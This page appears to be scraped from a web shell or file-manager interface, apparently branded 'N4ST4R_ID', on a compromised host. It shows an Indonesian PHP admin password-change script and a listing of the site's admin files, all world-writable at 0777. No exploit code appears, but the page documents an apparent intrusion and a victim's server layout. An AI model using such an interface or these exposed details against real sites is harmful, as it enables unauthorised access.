Submit
Path:
~
/
home
/
ampckwxt
/
.trash
/
admin
/
File Content:
ganti_password_admin.php
<?php session_start(); include '../includes/koneksi.php'; if (!isset($_SESSION['id_admin'])) { exit("⚠️ Silakan login terlebih dahulu."); } $id = $_SESSION['id_admin']; if (isset($_POST['ubah'])) { $pass_lama = $_POST['pass_lama']; $pass_baru = $_POST['pass_baru']; $konfirmasi = $_POST['konfirmasi']; $data = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM data_admin WHERE id_admin = $id")); if (!password_verify($pass_lama, $data['password'])) { $pesan = "❌ Password lama salah."; } elseif ($pass_baru !== $konfirmasi) { $pesan = "❌ Konfirmasi tidak cocok."; } elseif (strlen($pass_baru) < 6) { $pesan = "❌ Password baru minimal 6 karakter."; } else { $hash = password_hash($pass_baru, PASSWORD_BCRYPT); mysqli_query($conn, "UPDATE data_admin SET password = '$hash' WHERE id_admin = $id"); $pesan = "✅ Password berhasil diubah."; } } ?> <!DOCTYPE html> <html> <head> <title>Ganti Password</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="p-4"> <div class="container col-md-6"> <h3>Ganti Password Admin</h3> <?php if (isset($pesan)): ?> <div class="alert alert-info"><?= $pesan ?></div> <?php endif; ?> <form method="POST"> <div class="mb-3"> <label>Password Lama</label> <input type="password" name="pass_lama" class="form-control" required> </div> <div class="mb-3"> <label>Password Baru</label> <input type="password" name="pass_baru" class="form-control" required> </div> <div class="mb-3"> <label>Konfirmasi Password</label> <input type="password" name="konfirmasi" class="form-control" required> </div> <button type="submit" name="ubah" class="btn btn-success">Ubah Password</button> <a href="dashboard_admin.php" class="btn btn-secondary">Kembali</a> </form> </div> </body> </html>
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
adminlte
---
0777
assets
---
0777
member
---
0777
.htaccess
42 bytes
0777
all_data.php
24882 bytes
0777
atur_akses.php
3474 bytes
0777
dashboard_admin.php
11051 bytes
0777
database-baru.sql
1542 bytes
0777
edit_admin.php
2224 bytes
0777
error_log
10607 bytes
0777
export_admin.php
659 bytes
0777
export_member_excel.php
1462 bytes
0777
form_register_admin.php
4243 bytes
0777
ganti_password_admin.php
2078 bytes
0777
get_dashboard_chart_data.php
937 bytes
0777
get_member.php
318 bytes
0777
get_member_data.php
1313 bytes
0777
hapus_admin.php
1310 bytes
0777
hapus_member.php
1160 bytes
0777
hapus_semua_member.php
258 bytes
0777
index.php
2592 bytes
0777
kelola_admin.php
9486 bytes
0777
kelola_member.php
13463 bytes
0777
koneksi.php
466 bytes
0777
logout.php
84 bytes
0777
proses_edit_member.php
1163 bytes
0777
proses_ganti_password_admin.php
848 bytes
0777
proses_login_admin.php
2130 bytes
0777
proses_pengaturan_member.php
1875 bytes
0777
proses_tambah_member.php
2690 bytes
0777
proses_tambah_member_admin.php
768 bytes
0777
N4ST4R_ID | Naxtarrr